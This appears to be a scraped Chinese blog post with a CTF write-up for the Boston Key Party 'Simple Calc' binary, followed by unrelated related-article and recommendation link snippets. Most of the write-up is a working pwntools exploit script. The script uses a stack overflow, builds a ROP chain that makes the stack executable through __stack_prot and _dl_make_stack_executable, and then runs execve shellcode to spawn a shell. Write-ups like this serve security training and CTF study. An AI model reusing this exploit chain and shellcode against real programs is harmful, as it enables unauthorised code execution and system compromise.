Bostonkey Simple calc
Simple Calc
明显的memcpy栈溢出,是一个静态链接的程序所以没给libc。发现里面有:

参数a1应该为_libc_stack_end的地址了。_stack_prot通过rop修改为0x7即111b,这样的话stack就是可执行的了,然后就可以执行shellcode啦!

#!/usr/bin/python
from pwn import *
import time
#wah #context.log_level = 'debug'
#s = remote('simplecalc.bostonkey.party',5400, timeout=2)
s = remote('127.0.0.1',10001)
time.sleep(1)
print 'pwn-calc pid is %d' % pwnlib.util.proc.pidof('pwn-calc')[0]
raw_input('go!') def add(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
def sub(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
def div(x,y):
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.recvuntil('Integer x: ', timeout=2)
s.sendline(x)
s.recvuntil('Integer y: ', timeout=2)
s.sendline(y)
rop = ''
rop += p32(0x31) #fake heap head
rop += 11*p32(500)
rop += p64(0x6C4AA0) #divresult to bypass free()
rop += p32(500)*4 rop += p64(0x4b8f17) #pop rcx; ret
rop += p64(0x6C0FE0) #__stack_prot
rop += p64(0x474a83) #pop rax; ret
rop += p64(0xffffffffffffffff) #-1
rop += 8*p64(0x00463b90) #add rax,1;ret
rop += p64(0x40f50b) #add BYTE PTR [rcx],al; ret
rop += p64(0x00463600) #pop rdi; ret
rop += p64(0x6C0F88) #__libc_stack_end
rop += p64(0x4717E0) #_dl_make_stack_executable
rop += p64(0x44282a) #call rsp shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
rop += shellcode payloadlen = len(rop)
print 'payload len is %d' % len(rop)
#print rop.encode('hex') remaind = payloadlen %4
padlen = payloadlen + 4-remaind
formats = '{:' + '\x01' + '<' + str(padlen) + '}'
payload = formats.format(rop)
#print payload.encode('hex') s.recvuntil('Expected number of calculations: ', timeout=2)
s.sendline(str(padlen/4 + 1)) tmp = 0x30
for i in range(padlen/4):
#print '%d round' % (i+1)
num = u32(payload[4*i:4*(i+1)])
#print hex(num)
if num == 0x31:
div(str(0x31*0x31), str(0x31)) #to bypass free
elif num <= 0x27:
sub(str(num+0x30),str(0x30))
elif num >= 0x70000000:
add(str(num-0x70000000),str(0x70000000))
else:
add(str(num-0x30),str(0x30))
s.recvuntil('=> ', timeout=2)
s.sendline('')
s.interactive()
Bostonkey Simple calc的更多相关文章
- CSharp使用ANTLR4生成简单计算Parser
ANTLR简介 ANTLR (ANother Tool for Language Recognition) is a powerful parser generator for reading, pr ...
- 2016暑假多校联合---A Simple Chess
2016暑假多校联合---A Simple Chess Problem Description There is a n×m board, a chess want to go to the po ...
- Building simple plug-ins system for ASP.NET Core(转)
Recently I built plug-ins support to my TemperatureStation IoT solution web site. The code for .NET ...
- css calc()
w https://developer.mozilla.org/en-US/docs/Web/CSS/calc The calc() CSS function can be used anywhere ...
- HDU 5794 A Simple Chess dp+Lucas
题目链接: http://acm.hdu.edu.cn/showproblem.php?pid=5794 A Simple Chess Time Limit: 2000/1000 MS (Java/O ...
- HDU 5794 A Simple Chess(杨辉三角+容斥原理+Lucas定理)
题目链接 A Simple Chess 打表发现这其实是一个杨辉三角…… 然后发现很多格子上方案数都是0 对于那写可能可以到达的点(先不考虑障碍点),我们先叫做有效的点 对于那些障碍,如果不在有效点上 ...
- PHP设计模式(一)简单工厂模式 (Simple Factory For PHP)
最近天气变化无常,身为程序猿的寡人!~终究难耐天气的挑战,病倒了,果然,程序猿还需多保养自己的身体,有句话这么说:一生只有两件事能报复你:不够努力的辜负和过度消耗身体的后患.话不多说,开始吧. 一.什 ...
- Design Patterns Simplified - Part 3 (Simple Factory)【设计模式简述--第三部分(简单工厂)】
原文链接:http://www.c-sharpcorner.com/UploadFile/19b1bd/design-patterns-simplified-part3-factory/ Design ...
- WATERHAMMER: A COMPLEX PHENOMENON WITH A SIMPLE SOLUTION
开启阅读模式 WATERHAMMER A COMPLEX PHENOMENON WITH A SIMPLE SOLUTION Waterhammer is an impact load that is ...
随机推荐
- svn之——linux下清除svn的用户名和密码
问题:之前用的svn账号权限不够,需要使用别的账号,所以提出需求——怎么使用新的svn账号进行操作 方法一: linux下删除~/.subversion/auth即可清除之前的用户名和密码:rm -r ...
- Stones(优先队列)
Stones Time Limit: 5000/3000 MS (Java/Others) Memory Limit: 65535/32768 K (Java/Others)Total Subm ...
- 采用标准c进行目录文件遍历
图像处理的时候经常需要对一个目录的所有图像进行处理,遍历文件得c代码: 在windows中需要使用到宽字符. 另外,可以使用opencv封装的目录访问操作,下次给出. // DirTraverse.c ...
- Android中进程生命周期的优先级
“我们不是生产者,我只是大自然的搬运工.” 学习Android最好的途径当然是强大的官方文档了,其中在Processes and Threads一节中对于进程生命周期淘汰优先级,有着详细的介绍.原文如 ...
- 用 alias 给常用命令取个别名
作为一名iOS开发者,很多时候需要用到命令行,有时候一长串的命令实在让人讨厌,特别是一些常用的命令,我们要一遍一遍不厌其烦的去敲键盘.但是老鸟一般都不会这么傻,因为有 alias,通过alias 我们 ...
- rotate.js实现图片旋转 (chrome,IE,firefox都可以实现)
找了好多资料,要么是IE可以用,但是谷歌不行,,还有就是两个都可以用的,图片大小显示不全.终于找到一个好一点的js,先贴一下代码. 1.rotate.js jQuery.fn.rotate = fun ...
- Android 屏蔽ScrollView滑动操作
屏蔽ScrollView滑动操作,如下,会用到ViewConfiguration这个类,这个类可以获取到用户是否为滑动操作的临界值. 代码如下: package com.xx.uikit.view; ...
- MSSQL 获取数据库字段类型
SELECT col.name AS 列名, typ.name as 数据类型, col.max_length AS 占用字节数, col.precision AS 数字长度, col.scale A ...
- 初学swift笔记 方法(九)
import Foundation /* 方法 */ //实例方法 一定需要依附于对象 class MyPoint { var x: Double = 0.0 var y: Double = 0.0 ...
- MySQL load data infile
语法: load data [low_priority] [local] infile ‘file_path' [replace] [ignore] into table table_name [(c ...